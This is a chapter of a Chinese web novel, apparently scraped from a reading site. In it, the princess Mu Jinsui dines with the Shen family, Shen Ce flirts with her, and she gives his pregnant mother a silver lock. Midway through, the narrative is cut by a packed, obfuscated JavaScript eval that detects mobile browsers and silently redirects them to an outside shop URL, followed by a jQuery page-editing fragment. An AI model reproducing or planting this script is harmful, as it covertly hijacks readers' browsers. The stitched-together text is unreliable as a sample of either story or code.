此话一出,众人纷纷愣住,尤其是沈策的母亲柳玉汝愣愣的看着慕锦岁,眼中满是惊讶与疑惑。
方才那声音是四公主的?可她刚刚没有张嘴啊,这声音是哪儿来的?
那声音说她肚子里的还是个男孩,难道是真的?
她盼星星盼月亮就为了要个女儿,每次瞧见别家妇人怀中抱着温软可爱的小闺女她都羡慕的不行。
现在一听肚子里是个男孩顿时有些泄气。
沈言锋闻言转过头看向自家夫人的肚子,笑呵呵地伸手摸了摸她的肚子。
儿子女儿都好,只要是夫人生的他都喜欢,哪怕生个小哪吒出来他也喜欢。
柳玉汝若是知道他心中所想定会毫不犹豫拧他耳朵。
沈玉林上次在养心殿就知道了这件事,现在也没有多惊讶。他已经想清楚了,没有孙女也好,或许这就是他这辈子的命吧。
日后让两个孙子给他早点找个孙儿媳妇不就好了?孙儿媳妇一样当成孙女宠。
想到这里,沈玉林扭头瞪了一眼沈策。
这孙儿哪儿哪儿都好,就是对情爱一窍不通,到现在半点找媳妇的意思也没有,都快急坏他这个老人家了。
沈玉林恨铁不成钢地瞪了他一眼,又转头看向慕锦岁,上下打量着她越看越喜欢。
文静又乖巧,尤其是听到她喊爷爷的时候,沈玉林只觉得自己的一颗心都要化了。
若是这丫头能和策儿...
沈玉林笑眯眯的捋了一把白花花的胡须,看来得找个机会进宫旁敲侧击的问问皇上四公主的婚配如何了。
忽然感觉到自家爷爷恶狠狠的眼神,沈策无辜地摸了摸鼻子。
看向慕锦岁的眼中染上几分深意,心中更加确定慕锦岁不是凡人。
他因为神兽血脉才能提前得知母亲肚里的孩子是男,凡人怎么可能一眼看出。
“好了好了,公主一路辛劳,我们这就用膳。”
沈玉林摆了摆手,下人们鱼贯而入,每个人手中都捧着一道精美菜肴。
酒过三巡,菜过五味,坐在慕锦岁身侧的沈策端起酒杯。
“臣敬公主,今日见到公主只觉得熟悉,许是有缘。”
沈策特地将‘有缘’两个字咬的极重,眼底划过一抹笑意。
听到这话,慕锦岁手一抖差点没拿稳酒杯,握拳抵唇轻咳。
“咳咳,嗯,嗯...有缘。”
注意到她细微的异样,沈策眼中那抹笑意更加明显,仰头将杯中酒一饮而尽。
慕锦岁下意识抬头看他却看到了他眼中的笑意,顿时明白这人是故意的。
有些心虚地喝了一口酒,低头之间忽然感觉右耳一轻。
和田白玉雕花的耳坠悄无声息地落在了地上,众人顾着用膳,没有人注意到她的异样。
慕锦岁刚想让露萤帮忙捡起,余光却忽然瞥见一抹玄色。
沈策微微弯腰,骨节分明的手指避开白玉只捏起金钩,将那只耳坠在众人看不到的桌下递给慕锦岁。
挑眉看着她,眼中含笑,声音宛如寒冰如暖阳般消融温润。
“公主,莫要丢了,若是被旁人拾去,不知道的人该送去刘府了。”
听到这话,慕锦岁顿时僵住,微微侧过头尴尬的闭上眼睛。
片刻后才伸手去接,触感微凉细腻的白玉落在手心,忽然感觉一抹温热在手心不轻不重地点了点。
慕锦岁心头猛然一跳,连忙收回手,只觉得面颊有些发热,根本不知道自己的脸现在有多红。
这个人就是故意的!
沈策瞧见她面红耳赤的样子忍不住低笑,声如沉钟震得慕锦岁耳朵酥麻。
原来看她炸毛的样子这么有趣,果然这个赏赐比什么黄金田产都要有意思。
另一侧的沈玉林注意到这异样一幕,看到孙儿万年不变的冷脸上竟然有了笑意。
他顿时了然,笑眯眯地点了点头。
看来这事有戏。
用完膳之后,沈玉林便让众人散去,只留了沈家嫡系在前厅与慕锦岁闲聊。
慕锦岁转头看向清禾,清禾连忙上前双手呈上一个锦盒。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021018|192447||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“这,这是本宫,让,宫中巧匠,做的...银锁,送给夫人的,孩儿。”
慕锦岁将那锦盒打开,盒子里静静躺着一枚泛着光泽的银锁,上面刻着岁岁平安的字样。
她在得知要去沈家的时候就让人赶制了这枚银锁,沈策毕竟是她的救命恩人,他的母亲她自然也要送些东西。
思来想去觉得还是这个比较合适。
柳玉汝受宠若惊的看着她,双手接过锦盒就要行礼。
“臣妇多谢公主挂念,谢公主。”
慕锦岁连忙扶住她:“夫人,身子重...免礼。”
沈策看向她目光不自觉地柔和下来,丝毫不见对待外人时的冷若冰霜。
沈言锋拱手行礼:“夫人身子不便,臣代为行礼,公主仁厚记挂小儿,多谢公主。”
停顿片刻,他才继续道:“京中人都说公主痴傻,可今日一见,臣只觉得公主灵巧通透,比宫中那些虚与委蛇的人好相处多了。”
慕锦岁一愣,没想到会得到这样的评价,反应过来后忍不住笑起来。
【沈将军这性子真的不会得罪人吗?就这么水灵灵的说出来宫中其他人虚伪了?】
沈玉林无奈地看了自家儿子一眼,言锋这性子在朝堂中确实容易得罪人,他因为这件事不知道说了多少次,但这傻小子就是听不进去。
慕锦岁看了看众人,有些好奇地问道:“方才,就想问...老夫人何在?”
沈玉林听她提起自家夫人,忍不住叹了口气。
“不瞒公主说,臣那夫人身子太弱,如今已经难以下榻,今日这才没有露面,还请公主恕罪。”
慕锦岁连忙摆手:“原是,如此...无碍,好生歇息,养身子...才重要。”
沈玉林点了点头,眉宇间染上几分担忧。众人神色都有些哀伤,沈玉林的两个儿子都面色黯然。
一直没有说过话的二儿子沈言锐眼中满是担忧,他身边的夫人崔敏却有些不自然。
慕锦岁注意到她的表情,忍不住多看了几眼。